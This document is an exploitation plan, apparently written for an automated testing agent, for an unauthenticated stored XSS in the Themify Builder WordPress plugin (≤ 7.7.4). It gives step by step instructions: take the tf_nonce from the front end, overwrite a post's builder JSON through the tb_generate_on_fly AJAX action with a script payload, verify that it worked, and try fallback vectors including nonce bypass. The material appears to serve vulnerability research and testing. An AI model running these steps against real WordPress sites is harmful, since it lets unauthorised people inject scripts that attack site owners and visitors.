Exploitation Research Plan - Themify Builder <= 7.7.4 Unauthenticated Stored XSS

1. Vulnerability Summary

The Themify Builder plugin (versions up to 7.7.4) contains an unauthenticated stored cross-site scripting vulnerability. The flaw exists in the handling of the tb_generate_on_fly AJAX action, which is intended to regenerate CSS stylesheets for Builder-enabled posts. This action is registered for unauthenticated users (wp_ajax_nopriv_) and fails to properly validate the user's authority to modify post data when a data parameter is supplied. Consequently, an attacker can overwrite the Builder layout JSON for any post, injecting malicious scripts into module settings that are later rendered without sufficient escaping.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: tb_generate_on_fly (Unauthenticated)
• Vulnerable Parameter: data (POST request)
• Authentication: None (Unauthenticated)
• Preconditions:
  • The target post must have Themify Builder enabled.
  • A valid tf_nonce must be obtained from the frontend.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=tb_generate_on_fly.
2. Registration: In classes/class-themify-builder-stylesheet.php, the action is hooked:

   add_action('wp_ajax_nopriv_tb_generate_on_fly', array(__CLASS__, 'save_builder_css'), 10);
   

3. Vulnerable Function: Themify_Builder_Stylesheet::save_builder_css() is executed.
4. Inadequate Authorization: The function checks for a valid nonce (tf_nonce) but lacks a current_user_can('edit_posts') check.
5. Sink: The function processes $_POST['id'] (Post ID) and $_POST['data'] (Builder JSON). It updates the post meta (typically _themify_builder_settings_json) with the attacker-controlled data.
6. Execution: When a victim views the modified post, the Builder's rendering engine (e.g., in Themify_Builder_Component_Module) processes the malicious JSON. If a module like text contains a script in its content_text setting, it is echoed to the page, triggering XSS.

4. Nonce Acquisition Strategy

The tb_generate_on_fly action requires a nonce named tf_nonce. This nonce is generated and localized in the frontend whenever a Builder-enabled page is loaded.

Extraction Steps:

1. Identify a page or post where Themify Builder is active (e.g., the homepage or a sample post).
2. Navigate to the page using the browser_navigate tool.
3. The plugin enqueues the tb_builder_js_style script, which localizes the nonce into the ThemifyBuilderStyle global object.
4. Execute the following JavaScript via browser_eval:

   window.ThemifyBuilderStyle?.nonce
   

5. Exploitation Strategy

The goal is to overwrite a post's content with a "Text" module containing an XSS payload.

Step 1: Obtain Nonce

• Use the browser_navigate tool to go to a Builder-enabled post.
• Use browser_eval to extract window.ThemifyBuilderStyle.nonce.

Step 2: Prepare Payload
Themify Builder expects a JSON array of rows. We will inject a script into the content_text setting of a text module.

[
  {
    "styling": {},
    "cols": [
      {
        "styling": {},
        "modules": [
          {
            "mod_name": "text",
            "mod_settings": {
              "content_text": "<script>alert(document.domain)</script>"
            },
            "styling": {}
          }
        ]
      }
    ]
  }
]

Step 3: Execute Injection
Send the following POST request using the http_request tool:

• URL: http://[target-ip]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:
  • action: tb_generate_on_fly
  • id: [Target_Post_ID]
  • nonce: [Extracted_tf_nonce]
  • data: [URL_Encoded_JSON_Payload]

6. Test Data Setup

1. Create a target post:

   wp post create --post_type=post --post_title="Vulnerable Page" --post_status=publish
   

2. Enable Builder on the post:
   Themify Builder usually initializes when a post is edited in the builder. If testing manually, ensure at least one row exists. For automation, identify the ID of the post created.

7. Expected Results

• The AJAX request should return a success indicator (often a JSON response or 1).
• Upon navigating to the post (/?p=[ID]), a JavaScript alert containing the document domain should appear.

8. Verification Steps

1. Verify Post Meta: Check if the builder settings were successfully overwritten via WP-CLI:

   wp post meta get [Post_ID] _themify_builder_settings_json
   

2. Verify Web Content: Fetch the post and grep for the payload:

   # Use http_request to fetch the page and check the response body
   

9. Alternative Approaches

• Different Modules: If the text module is sanitized in some environments, try the heading module or image module (injecting into the caption or alt fields).
• Global Styles Vector: If the post ID is restricted, explore if action=tb_save_css or action=tb_slider_live_styling in class-themify-builder-stylesheet.php also lack authentication checks, as they process similar styling/data inputs.
• Bypassing Nonce: Check if the tb_generate_on_fly action functions if the nonce parameter is omitted or if a different public nonce (like wp_rest) is provided, though check_ajax_referer usually prevents this.